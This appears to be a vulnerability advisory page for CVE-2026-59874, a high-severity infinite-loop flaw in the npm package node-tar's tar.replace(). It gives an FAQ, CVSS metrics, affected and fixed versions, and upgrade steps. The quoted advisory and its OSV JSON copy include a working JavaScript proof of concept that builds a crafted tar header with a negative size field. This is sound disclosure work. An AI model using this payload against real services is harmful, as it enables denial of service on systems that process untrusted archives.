CVE-2026-59874: node-tar Negative Tar Entry Size Causes Vulnerability

Q: What is CVE-2026-59874?

CVE-2026-59874 is a security vulnerability in node-tar involving Negative tar entry size causes infinite loop in archive replace under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').

Q: Which node-tar versions are affected?

Affected versions include releases prior to 7.5.18 across affected packages: tar.

Q: What version fixes CVE-2026-59874?

Upgrading to 7.5.18 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is tar affected?

Yes, tar is affected in releases prior to 7.5.18. Upgrade your dependency to 7.5.18 or later.

Q: What is the CVSS score of CVE-2026-59874?

CVE-2026-59874 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Q: What CWE is associated with CVE-2026-59874?

CVE-2026-59874 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).

Q: How can I check npm dependencies for CVE-2026-59874?

Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-8x88-c5mf-7j5w

CVSS 7.5

CWE-835

Published 2026-07-20

Advisory Summary

CVE-2026-59874 is a HIGH (CVSS 7.5) negative tar entry size causes vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting node-tar libraries in the npm ecosystem. The issue involves negative tar entry size causes infinite loop in archive replace. Remediation is available by upgrading affected packages to version 7.5.18.

CVE-2026-59874 at a Glance

CVE Identifier CVE-2026-59874

GHSA Identifier GHSA-8x88-c5mf-7j5w

Severity HIGH

CVSS v3.1 Base Score 7.5

CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Affected Product node-tar

Package Ecosystem npm

Published Date 2026-07-20

Last Updated 2026-07-20

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required None (PR:N)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality None (C:N)

Integrity None (I:N)

Availability High (A:H)

How to Fix CVE-2026-59874

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 7.5.18

npm install tar@7.5.18

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-59874, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.5.18), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service. ### Details The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary. Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation. For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step. This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception. ### PoC Save as `poc.mjs` in a project with the vulnerable package installed and run: ```bash node poc.mjs ``` ```js import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { spawnSync } from 'node:child_process' const oct = (b, n, off, len) => b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') const badHeader = () => { const h = Buffer.alloc(512) h.write('x', 0) oct(h, 0o644, 100, 8) oct(h, 0, 108, 8) oct(h, 0, 116, 8) // base-256 encoded -512 in the size field Buffer.alloc(10, 0xff).copy(h, 124) h[134] = 0xfe h[135] = 0x00 oct(h, 0, 136, 12) h.fill(0x20, 148, 156) h[156] = 0x30 h.write('ustar\0' + '00', 257, 8, 'binary') let sum = 0 for (const c of h) sum += c h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii') return h } const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-')) const file = path.join(dir, 'poc.tar') fs.writeFileSync(file, badHeader()) fs.writeFileSync(path.join(dir, 'add.txt'), 'x') const r = spawnSync( process.execPath, [ '--input-type=module', '-e', ` import * as tar from 'tar' tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt']) console.log('completed') `, ], { timeout: 20_000 } ) console.log(r.error?.code === 'ETIMEDOUT') // Output: true ``` ### Impact An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

CVE-2026-59874 Affected node-tar Versions

1 component(s)

Fixed Versions:

7.5.18

Product / Package	Ecosystem	Affected Versions	Fixed Version
tar npm/tar	npm	< 7.5.18	7.5.18

References

GitHub Advisory / Wiki ADVISORY

https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w

NVD — CVE-2026-59874 NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-59874

Security Fix Commit FIX COMMIT

https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5

node-tar Source Repository REPOSITORY

https://github.com/isaacs/node-tar

node-tar Release RELEASE

https://github.com/isaacs/node-tar/releases/tag/v7.5.18

Frequently Asked Questions

What is CVE-2026-59874?

CVE-2026-59874 is a security vulnerability in node-tar involving Negative tar entry size causes infinite loop in archive replace under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').

Which node-tar versions are affected?

Affected versions include releases prior to 7.5.18 across affected packages: tar.

What version fixes CVE-2026-59874?

Upgrading to 7.5.18 (or the latest patched release for your respective branch) resolves the vulnerability.

Is tar affected?

Yes, tar is affected in releases prior to 7.5.18. Upgrade your dependency to 7.5.18 or later.

What is the CVSS score of CVE-2026-59874?

CVE-2026-59874 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

What CWE is associated with CVE-2026-59874?

CVE-2026-59874 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).

How can I check npm dependencies for CVE-2026-59874?

Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8x88-c5mf-7j5w",
  "modified" : "2026-07-20T21:51:39Z",
  "published" : "2026-07-20T21:51:39Z",
  "aliases" : [ "CVE-2026-59874" ],
  "summary" : "node-tar: Negative tar entry size causes infinite loop in archive replace",
  "details" : "### Summary\n\nA checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.\n\n### Details\n\nThe public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.\n\nTar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.\n\nFor a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.\n\nThis is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.\n\n### PoC\n\nSave as `poc.mjs` in a project with the vulnerable package installed and run:\n\n```bash\nnode poc.mjs\n```\n\n```js\nimport fs from 'node:fs'\nimport os from 'node:os'\nimport path from 'node:path'\nimport { spawnSync } from 'node:child_process'\n\nconst oct = (b, n, off, len) =>\n  b.write(n.toString(8).padStart(len - 1, '0') + '\\0', off, len, 'ascii')\n\nconst badHeader = () => {\n  const h = Buffer.alloc(512)\n\n  h.write('x', 0)\n  oct(h, 0o644, 100, 8)\n  oct(h, 0, 108, 8)\n  oct(h, 0, 116, 8)\n\n  // base-256 encoded -512 in the size field\n  Buffer.alloc(10, 0xff).copy(h, 124)\n  h[134] = 0xfe\n  h[135] = 0x00\n\n  oct(h, 0, 136, 12)\n  h.fill(0x20, 148, 156)\n  h[156] = 0x30\n  h.write('ustar\\0' + '00', 257, 8, 'binary')\n\n  let sum = 0\n  for (const c of h) sum += c\n  h.write(sum.toString(8).padStart(6, '0') + '\\0 ', 148, 8, 'ascii')\n\n  return h\n}\n\nconst dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))\nconst file = path.join(dir, 'poc.tar')\n\nfs.writeFileSync(file, badHeader())\nfs.writeFileSync(path.join(dir, 'add.txt'), 'x')\n\nconst r = spawnSync(\n  process.execPath,\n  [\n    '--input-type=module',\n    '-e',\n    `\n      import * as tar from 'tar'\n      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])\n      console.log('completed')\n    `,\n  ],\n  { timeout: 20_000 }\n)\n\nconsole.log(r.error?.code === 'ETIMEDOUT')\n\n// Output: true\n```\n\n### Impact\n\nAn application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.5.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.5.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59874"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v7.5.18"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:51:39Z",
    "nvd_published_at" : "2026-07-08T16:16:33Z"
  }
}

CVSS V3

7.5 HIGH